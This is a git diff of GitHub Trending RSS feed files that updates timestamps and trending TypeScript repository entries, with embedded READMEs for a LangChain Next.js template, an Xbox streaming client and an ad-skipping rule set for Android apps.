c85fa784c55..5e79da7bc3e 100644 --- a/txl/daily/index.xml +++ b/txl/daily/index.xml @@ -1,7 +1,7 @@ GitHub TXL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:09Z + 2023-09-20T01:42:43Z Daily Trending of TXL in GitHub \ No newline at end of file diff --git a/type-language/daily/index.xml b/type-language/daily/index.xml index 65077c5046e..f492d0a683b 100644 --- a/type-language/daily/index.xml +++ b/type-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub Type Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:06Z + 2023-09-20T01:42:44Z Daily Trending of Type Language in GitHub \ No newline at end of file diff --git a/typescript/daily/index.xml b/typescript/daily/index.xml index 38230f5f387..d59fcd206fc 100644 --- a/typescript/daily/index.xml +++ b/typescript/daily/index.xml @@ -1,28 +1,21 @@ GitHub TypeScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:41:16Z + 2023-09-20T01:42:51Z Daily Trending of TypeScript in GitHub - langchain-ai/langchain-nextjs-template - 2023-09-19T01:41:16Z - tag:github.com,2023-09-19:/langchain-ai/langchain-nextjs-template - - <p>LangChain + Next.js starter template</p><hr><h1>🦜️🔗 LangChain + Next.js Starter Template</h1> <p><a href="https://codespaces.new/langchain-ai/langchain-nextjs-template"><img src="https://github.com/codespaces/badge.svg?sanitize=true" alt="Open in GitHub Codespaces"></a> <a href="https://vercel.com/new/clone?repository-url=https%3A%2F%2Fgithub.com%2Flangchain-ai%2Flangchain-nextjs-template"><img src="https://vercel.com/button" alt="Deploy with Vercel"></a></p> <p>This template scaffolds a LangChain.js + Next.js starter app. It showcases how to use and combine LangChain modules for several use cases. Specifically:</p> <ul> <li><a href="https://raw.githubusercontent.com/langchain-ai/langchain-nextjs-template/main/app/api/chat/route.ts">Simple chat</a></li> <li><a href="https://raw.githubusercontent.com/langchain-ai/langchain-nextjs-template/main/app/api/chat/structured_output/route.ts">Returning structured output from an LLM call</a></li> <li><a href="https://raw.githubusercontent.com/langchain-ai/langchain-nextjs-template/main/app/api/chat/agents/route.ts">Answering complex, multi-step questions with agents</a></li> <li><a href="https://raw.githubusercontent.com/langchain-ai/langchain-nextjs-template/main/app/api/chat/retrieval/route.ts">Retrieval augmented generation (RAG) with a chain and a vector store</a></li> <li><a href="https://raw.githubusercontent.com/langchain-ai/langchain-nextjs-template/main/app/api/chat/retrieval_agents/route.ts">Retrieval augmented generation (RAG) with an agent and a vector store</a></li> </ul> <p>Most of them use Vercel's <a href="https://github.com/vercel-labs/ai">AI SDK</a> to stream tokens to the client and display the incoming messages.</p> <p><img src="https://raw.githubusercontent.com/langchain-ai/langchain-nextjs-template/main/public/images/agent-convo.gif" alt="Demo GIF"></p> <p>You can check out a hosted version of this repo here: <a href="https://langchain-nextjs-template.vercel.app/">https://langchain-nextjs-template.vercel.app/</a></p> <h2>🚀 Getting Started</h2> <p>First, clone this repo and download it locally.</p> <p>Next, you'll need to set up environment variables in your repo's <code>.env.local</code> file. Copy the <code>.env.example</code> file to <code>.env.local</code>. To start with the basic examples, you'll just need to add your OpenAI API key.</p> <p>Next, install the required packages using your preferred package manager (e.g. <code>yarn</code>).</p> <p>Now you're ready to run the development server:</p> <pre><code class="language-bash">yarn dev </code></pre> <p>Open <a href="http://localhost:3000">http://localhost:3000</a> with your browser to see the result! Ask the bot something and you'll see a streamed response:</p> <p><img src="https://raw.githubusercontent.com/langchain-ai/langchain-nextjs-template/main/public/images/chat-conversation.png" alt="A streaming conversation between the user and the AI"></p> <p>You can start editing the page by modifying <code>app/page.tsx</code>. The page auto-updates as you edit the file.</p> <p>Backend logic lives in <code>app/api/chat/route.ts</code>. From here, you can change the prompt and model, or add other modules and logic.</p> <h2>🧱 Structured Output</h2> <p>The second example shows how to have a model return output according to a specific schema using OpenAI Functions. Click the <code>Structured Output</code> link in the navbar to try it out:</p> <p><img src="https://raw.githubusercontent.com/langchain-ai/langchain-nextjs-template/main/public/images/structured-output-conversation.png" alt="A streaming conversation between the user and an AI agent"></p> <p>The chain in this example uses a <a href="https://zod.dev">popular library called Zod</a> to construct a schema, then formats it in the way OpenAI expects. It then passes that schema as a function into OpenAI and passes a <code>function_call</code> parameter to force OpenAI to return arguments in the specified format.</p> <p>For more details, <a href="https://js.langchain.com/docs/modules/chains/popular/structured_output">check out this documentation page</a>.</p> <h2>🦜 Agents</h2> <p>To try out the agent example, you'll need to give the agent access to the internet by populating the <code>SERPAPI_API_KEY</code> in <code>.env.local</code>. Head over to <a href="https://serpapi.com/">the SERP API website</a> and get an API key if you don't already have one.</p> <p>You can then click the <code>Agent</code> example and try asking it more complex questions:</p> <p><img src="https://raw.githubusercontent.com/langchain-ai/langchain-nextjs-template/main/public/images/agent-conversation.png" alt="A streaming conversation between the user and an AI agent"></p> <p>This example uses the OpenAI Functions agent, but there are a few other options you can try as well. See <a href="https://js.langchain.com/docs/modules/agents/agent_types/">this documentation page for more details</a>.</p> <h2>🐶 Retrieval</h2> <p>The retrieval examples both use Supabase as a vector store. However, you can swap in <a href="https://js.langchain.com/docs/modules/data_connection/vectorstores/integrations/">another supported vector store</a> if preferred by changing the code under <code>app/api/retrieval/ingest/route.ts</code>, <code>app/api/chat/retrieval/route.ts</code>, and <code>app/api/chat/retrieval_agents/route.ts</code>.</p> <p>For Supabase, follow <a href="https://js.langchain.com/docs/modules/data_connection/vectorstores/integrations/supabase">these instructions</a> to set up your database, then get your database URL and private key and paste them into <code>.env.local</code>.</p> <p>You can then switch to the <code>Retrieval</code> and <code>Retrieval Agent</code> examples. The default document text is pulled from the LangChain.js retrieval use case docs, but you can change them to whatever text you'd like.</p> <p>For a given text, you'll only need to press <code>Upload</code> once. Pressing it again will re-ingest the docs, resulting in duplicates. You can clear your Supabase vector store by navigating to the console and running <code>DELETE FROM docuemnts;</code>.</p> <p>After splitting, embedding, and uploading some text, you're ready to ask questions!</p> <p><img src="https://raw.githubusercontent.com/langchain-ai/langchain-nextjs-template/main/public/images/retrieval-chain-conversation.png" alt="A streaming conversation between the user and an AI retrieval chain"></p> <p><img src="https://raw.githubusercontent.com/langchain-ai/langchain-nextjs-template/main/public/images/retrieval-agent-conversation.png" alt="A streaming conversation between the user and an AI retrieval agent"></p> <p>For more info on retrieval chains, <a href="https://js.langchain.com/docs/use_cases/question_answering/">see this page</a>. The specific variant of the conversational retrieval chain used here is composed using LangChain Expression Language, which you can <a href="https://js.langchain.com/docs/guides/expression_language/cookbook">read more about here</a>.</p> <p>For more info on retrieval agents, <a href="https://js.langchain.com/docs/use_cases/question_answering/conversational_retrieval_agents">see this page</a>.</p> <h2>📚 Learn More</h2> <p>The example chains in the <code>app/api/chat/route.ts</code> and <code>app/api/chat/retrieval/route.ts</code> files use <a href="https://js.langchain.com/docs/guides/expression_language/interface">LangChain Expression Language</a> to compose different LangChain modules together. You can integrate other retrievers, agents, preconfigured chains, and more too, though keep in mind <code>BytesOutputParser</code> is meant to be used directly with model output.</p> <p>To learn more about what you can do with LangChain.js, check out the docs here:</p> <ul> <li><a href="https://js.langchain.com/docs/">https://js.langchain.com/docs/</a></li> </ul> <h2>▲ Deploy on Vercel</h2> <p>When ready, you can deploy your app on the <a href="https://vercel.com/new?utm_medium=default-template&amp;filter=next.js&amp;utm_source=create-next-app&amp;utm_campaign=create-next-app-readme">Vercel Platform</a>.</p> <p>Check out the <a href="https://nextjs.org/docs/deployment">Next.js deployment documentation</a> for more details.</p> <h2>Thank You!</h2> <p>Thanks for reading! If you have any questions or comments, reach out to us on Twitter <a href="https://twitter.com/langchainai">@LangChainAI</a>, or <a href="https://discord.gg/langchain">click here to join our Discord server</a>.</p> + Elliott-Chong/chatpdf-yt + 2023-09-20T01:42:51Z + tag:github.com,2023-09-20:/Elliott-Chong/chatpdf-yt + + <p></p><hr><p><img src="https://github.com/Elliott-Chong/chatpdf-yt/assets/77007117/7fcee290-ca52-46ee-ae82-3490f505270b" alt="Build and Deploy Full Stack ChatPDF Clone"></p> <p><a href="https://www.youtube.com/watch?v=bZFedu-0emE">Link to YouTube Tutorial</a></p> - truongdn-it/nextjs-core-project - 2023-09-19T01:41:16Z - tag:github.com,2023-09-19:/truongdn-it/nextjs-core-project - - <p>Nextjs Core Project</p><hr><h1>NEXTJS CORE PROJECT</h1> <p><em><strong>-----Author: TruongDN-----</strong></em></p> <ul> <li><strong><em>Luôn viết mã sạch</em></strong></li> <li><strong><em>Nghĩ trước khi code</em></strong></li> <li><strong><em>Code có tâm</em></strong></li> <li><strong><em>Sẵn sàng dạy nhau</em></strong></li> <li><strong><em>Trách nhiệm với công việc</em></strong></li> <li><strong><em>Chủ động thảo luận</em></strong></li> </ul> <h2>Commit Rules</h2> <p>Must create branch follow below rules:</p> <ul> <li>build</li> <li>chore</li> <li>ci</li> <li>docs</li> <li>feat</li> <li>fix</li> <li>perf</li> <li>refactor</li> <li>revert</li> <li>style</li> <li>test</li> </ul> <p>Example: <code>feat: first commit</code></p> <h2>Branch Rules</h2> <p>Must create branch follow below rules:</p> <ul> <li>feat/</li> <li>feedback/</li> <li>hotfix/</li> <li>revert/</li> <li>reset/</li> <li>force/</li> <li>refactor/</li> <li>fix/</li> </ul> <p>Example: <code>git checkout -b feat/feature-a</code></p> <p>Note: <em>Underscore to be not allow!!!</em></p> <h2>Run Locally</h2> <p>Clone the project</p> <pre><code class="language-bash"> git clone https://link-to-project </code></pre> <p>Go to the project directory</p> <pre><code class="language-bash"> cd my-project </code></pre> <p>Install dependencies</p> <pre><code class="language-bash"> npm install </code></pre> <p>Start the server</p> <pre><code class="language-bash"> npm run dev </code></pre> - - - unknownskl/greenlight - 2023-09-19T01:41:16Z - tag:github.com,2023-09-19:/unknownskl/greenlight - - <p>Greenlight is an open-source client for xCloud and Xbox home streaming made in Typescript.</p><hr><h1>Greenlight</h1> <p><a href="https://github.com/unknownskl/greenlight/actions/workflows/build.yml"><img src="https://github.com/unknownskl/greenlight/actions/workflows/build.yml/badge.svg?sanitize=true" alt="Build/release"></a></p> <p>Greenlight is an open-source client for xCloud and xHome streaming made in Javascript and Typescript. The client is an application wrapper around <a href="https://github.com/unknownskl/xbox-xcloud-player">xbox-xcloud-player</a>. Application runs on Linux, mac, Windows and Steam Deck.</p> <p><em>DISCLAIMER: Greenlight is not affiliated with Microsoft, Xbox or Moonlight. All rights and trademarks are property of their respective owners.</em></p> <h2>Features</h2> <ul> <li>Stream video and audio from the Xbox One and Xbox Series</li> <li>Support for gamepad controls</li> <li>Supports rumble on xCloud</li> <li>Keyboard controls</li> <li>Build-in online friends list</li> </ul> <p><img src="https://raw.githubusercontent.com/unknownskl/greenlight/main-v2/images/main.png" width="400"> <img src="https://raw.githubusercontent.com/unknownskl/greenlight/main-v2/images/stream.png" width="400"></p> <h3>Keyboard controls</h3> <p>The following keys are mapped as following:</p> <pre><code>Dpad: Keypad direction controls Buttons: A, B, X, Y, Backspace (Mapped as B), Enter (Mapped as A) Nexus (Xbox button): N Left Bumper: [ Right Bumper: ] Left Trigger: - Right Trigger: = View: V Menu: M </code></pre> <h3>Streaming stats</h3> <p>During the stream you can show extra debug statistics that contain extra data about the buffer queues and other information. To bring this up you have to press <code>~</code> on your keyboard.</p> <p>On the left bottom you can see the status (Altough not always accurate). The right top you can find the FPS of the video and audio decoders including the latency. On the right bottom you can find debug information about the buffer queues and other information that is useful for debugging perposes.</p> <p>When possible always provide this information with your issue when possible (if it is related).</p> <h3>Online friends list</h3> <p>The application also provides a way to see which of your friends are online. This can be useful when you want to quickly check if anyone is online to play with :)</p> <h2>Steam Deck Setup</h2> <p>This application is reported to be working on the Steam Deck with some small bugs and side-effects. You can map one of the Steam Deck back buttons to the 'N' key to simulate the Xbox button.</p> <h3>Optional launch arguments</h3> <table> <thead> <tr> <th>Argument</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>--fullscreen</td> <td>Starts the application in fullscreen</td> </tr> <tr> <td>--connect= <value></value></td> <td>Will start stream once the user is authenticated.</td> </tr> </tbody> </table> <p>For console use <code>F000000000000000</code> format and for xCloud use <code>xcloud_&lt;title&gt;</code></p> <h3>To close the application</h3> <p>Click on the Xbox logo on the left top. It will ask you to confirm to close the window.</p> <h2>Install</h2> <p>You can either compile the project yourself or download the (unsigned) executable from the <a href="https://github.com/unknownskl/greenlight/releases">releases</a> page</p> <h2>Local Development</h2> <h3>Requirements</h3> <ul> <li>Rust (<a href="https://rustup.rs/">https://rustup.rs/</a>)</li> <li>NodeJS (<a href="https://nodejs.org/">https://nodejs.org/</a>)</li> <li>Yarn (<a href="https://yarnpkg.com/">https://yarnpkg.com/</a>)</li> </ul> <h3>Steps to get up and running</h3> <p>Clone the repository:</p> <pre><code>git clone https://github.com/unknownskl/greenlight.git cd greenlight git submodule update --init --recursive </code></pre> <p>Install dependencies:</p> <pre><code>yarn </code></pre> <p>Run development build:</p> <pre><code>yarn dev </code></pre> <p>Create production build:</p> <pre><code>yarn build </code></pre> <h2>Changelog</h2> <p>See <a href="https://raw.githubusercontent.com/unknownskl/greenlight/main-v2/CHANGELOG.md">changelog</a></p> + gkd-kit/subscription + 2023-09-20T01:42:51Z + tag:github.com,2023-09-20:/gkd-kit/subscription + + <p>搞快点 APP 默认订阅规则</p><hr><h1>@gkd-kit/subscription</h1> <p> <a href="https://www.npmjs.com/package/@gkd-kit/subscription"><img src="https://img.shields.io/npm/v/@gkd-kit/subscription.svg?sanitize=true" alt="npm package"></a> </p> <p>搞快点 APP 默认订阅规则</p> <p>当前订阅文件已适配 153 个 APP, 共有 346 规则组</p> <p>如何编写订阅/贡献此项目 -&gt; <a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/CONTRIBUTING.md">CONTRIBUTING.md</a></p> <h2>适配 APP 列表</h2> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/air.tv.douyu.android.ts">air.tv.douyu.android</a> - 斗鱼</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/38517192/50c858ee-d331-4d5a-b5db-5eb17323c5ff">快照-0</a></li> </ul> </li> <li><strong>青少年模式</strong> - 关闭青少年模式提醒弹窗 <ul> <li><a href="https://gkd-kit.gitee.io/import/38517192/1c081a65-688a-406b-b67b-9bfb9aba0fad">快照-0</a></li> </ul> </li> <li><strong>新版本弹窗</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/android.zhibo8.ts">android.zhibo8</a> - 直播吧</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12605327">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12661109">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/cmb.pb.ts">cmb.pb</a> - 招商银行</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/cn.com.ruijie.magicbox.ts">cn.com.ruijie.magicbox</a> - 无线魔盒</h3> <ul> <li><strong>更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642359">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/cn.damai.ts">cn.damai</a> - 大麦</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/38517192/38859663-6f0c-48b1-9392-20ae937a8c9e">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/cn.wps.moffice_eng.ts">cn.wps.moffice_eng</a> - WPS</h3> <ul> <li><strong>开屏广告</strong></li> <li><strong>首页-文档列表广告</strong> <ul> <li><a href="https://github.com/gkd-kit/subscription/assets/38517192/57787554-0443-4bc0-9f29-1759aae07b9b">示例-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12505365">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12505350">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12505286">快照-2</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/cn.xiaochuankeji.tieba.ts">cn.xiaochuankeji.tieba</a> - 最右</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12660905">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12660955">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12660984">快照-2</a></li> </ul> </li> <li><strong>更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12660882">快照-0</a></li> </ul> </li> <li><strong>青少年模式弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12660929">快照-0</a></li> </ul> </li> <li><strong>评论区广告卡片</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12661011">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12661028">快照-1</a></li> </ul> </li> <li>默认禁用 <strong>系统通知弹窗</strong> - 系统通知弹窗,点击暂不开启 <ul> <li><a href="https://gkd-kit.gitee.io/import/12660823">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>系统通知提示信息</strong> - 系统通知提示信息,点击x按钮 <ul> <li><a href="https://gkd-kit.gitee.io/import/12660851">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.MobileTicket.ts">com.MobileTicket</a> - 铁路12306</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.UCMobile.ts">com.UCMobile</a> - UC浏览器</h3> <ul> <li><strong>开屏广告</strong> - 空规则组-待实现</li> <li><strong>推荐页广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.achievo.vipshop.ts">com.achievo.vipshop</a> - 唯品会</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.ai.obc.cbn.app.ts">com.ai.obc.cbn.app</a> - 中国广电</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/22029832/3d58f8d5-bb6a-464a-88f7-5a27c5e0854c">快照-0</a></li> </ul> </li> <li><strong>版本弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12617201">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12655061">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.alibaba.android.rimet.ts">com.alibaba.android.rimet</a> - 钉钉</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.songe.li/import/12506211">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.alibaba.wireless.ts">com.alibaba.wireless</a> - 阿里巴巴</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.android.bankabc.ts">com.android.bankabc</a> - 中国农业银行</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/38517192/3653218a-e0e0-4a60-8308-dea5fd4179b3">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.android.thememanager.ts">com.android.thememanager</a> - miui主题壁纸</h3> <ul> <li><strong>推荐下广告</strong> - 注意如果使用ADB禁用了MIUI广告组件,点击此按钮会无反应,可关闭此规则,避免过多相同点击记录</li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.anjuke.android.app.ts">com.anjuke.android.app</a> - 安居客</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.autonavi.minimap.ts">com.autonavi.minimap</a> - 高德地图</h3> <ul> <li><strong>首页-地图页面上方消息提醒</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642830">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>首页-签到卡片</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642842">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12642845">快照-1</a></li> </ul> </li> <li>默认禁用 <strong>加油页面-优惠券弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642857">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.babytree.apps.pregnancy.ts">com.babytree.apps.pregnancy</a> - 宝宝树孕育</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12614755">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12614757">快照-1</a></li> </ul> </li> <li><strong>弹出广告(偶发)</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12614834">快照-0</a></li> </ul> </li> <li><strong>首页右侧悬浮广告(偶发)</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12614838">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.baidu.BaiduMap.ts">com.baidu.BaiduMap</a> - 百度地图</h3> <ul> <li><strong>开屏广告</strong></li> <li><strong>地图上方黄页横幅</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642301">快照-0</a></li> </ul> </li> <li><strong>打车界面-右侧悬浮球</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642307">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>美食大礼包弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642310">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>酒店提前订弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642319">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>请求定位弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12660884">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12660883">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.baidu.duer.superapp.ts">com.baidu.duer.superapp</a> - 小度</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12506571">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.baidu.homework.ts">com.baidu.homework</a> - 作业帮</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.baidu.netdisk.ts">com.baidu.netdisk</a> - 百度网盘</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/38517192/edc1d0a6-ebdd-48b0-9e11-f0b2c277c40a">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12648924">快照-1</a></li> </ul> </li> <li><strong>活动弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642505">快照-0</a></li> </ul> </li> <li><strong>首页banner广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642514">快照-0</a></li> </ul> </li> <li><strong>首页热门广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642514">快照-0</a></li> </ul> </li> <li><strong>我的页面-限时福利</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642558">快照-0</a></li> </ul> </li> <li><strong>相册页面-激活无限空间弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12648987">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.baidu.tieba.ts">com.baidu.tieba</a> - 百度贴吧</h3> <ul> <li><strong>开屏广告</strong> - 数字倒计时广告,圆形倒计时广告 <ul> <li><a href="https://gkd-kit.gitee.io/import/12566191">快照-0</a></li> </ul> </li> <li><strong>任意界面-选择不喜欢理由-不感兴趣</strong></li> <li><strong>首页/贴吧帖子列表-推荐列表-长得像帖子的广告卡片</strong></li> <li><strong>某个广告卡片</strong> - 忘记是哪个卡片了</li> <li><strong>帖子评论区内部广告卡片</strong></li> <li><strong>帖子评论区广告卡片</strong></li> <li><strong>首页左侧游戏广告小图标</strong></li> <li><strong>升级弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12496934">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.baidu.wenku.ts">com.baidu.wenku</a> - 百度文库</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12520200">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12520204">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.baidu.youavideo.ts">com.baidu.youavideo</a> - 一刻相册</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12597925">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12598507">快照-1</a></li> </ul> </li> <li><strong>软件升级提醒</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12597916">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.baidutieba.davy.ts">com.baidutieba.davy</a> - 贴吧一键签到大师</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12504282">快照-0</a></li> </ul> </li> <li><strong>内部弹窗广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12504289">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12504291">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.bankcomm.maidanba.ts">com.bankcomm.maidanba</a> - 买单吧</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12660986">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.bjsk.intelligent.ts">com.bjsk.intelligent</a> - WiFi智能钥匙</h3> <ul> <li><strong>开屏广告</strong></li> <li><strong>内部启动广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.cmbchina.ccd.pluto.cmbActivity.ts">com.cmbchina.ccd.pluto.cmbActivity</a> - 掌上生活</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12647186">快照-0</a></li> </ul> </li> <li><strong>更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12647025">快照-0</a></li> </ul> </li> <li><strong>首页弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12647000">快照-0</a></li> </ul> </li> <li><strong>右侧悬浮广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12647039">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12647052">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12647127">快照-2</a></li> </ul> </li> <li>默认禁用 <strong>消息页面-通知开关</strong> - 点击x按钮,不开启系统通知 <ul> <li><a href="https://gkd-kit.gitee.io/import/12647068">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.cmcc.cmvideo.ts">com.cmcc.cmvideo</a> - 咪咕视频</h3> <ul> <li><strong>开屏广告</strong></li> <li><strong>青少年模式弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12498307">快照-0</a></li> </ul> </li> <li><strong>右下角小广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12498315">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.cnspeedtest.globalspeed.ts">com.cnspeedtest.globalspeed</a> - 全球网测</h3> <ul> <li><strong>更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642345">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.coolapk.market.ts">com.coolapk.market</a> - 酷安</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/38517192/4ba30986-55d4-4a94-b7e2-6cf7d9c6d66d">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12503773">快照-1</a></li> </ul> </li> <li><strong>关闭卡片广告</strong> - 点击卡片右上角按钮,然后点击关闭弹窗 <ul> <li><a href="https://gkd-kit.gitee.io/import/38517192/9badc07c-4da2-4066-8af5-d96a86a28315">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12655713">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12660759">快照-2</a></li> </ul> </li> <li><strong>关闭升级弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12503762">快照-0</a></li> </ul> </li> <li><strong>关闭卡片广告(旧版)</strong> - 点击卡片右上角按钮,然后点击关闭弹窗 <ul> <li><a href="https://gkd-kit.gitee.io/import/12642132">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12642155">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12642094">快照-2</a></li> <li><a href="https://gkd-kit.gitee.io/import/12642148">快照-3</a></li> </ul> </li> </ul> <h3><a 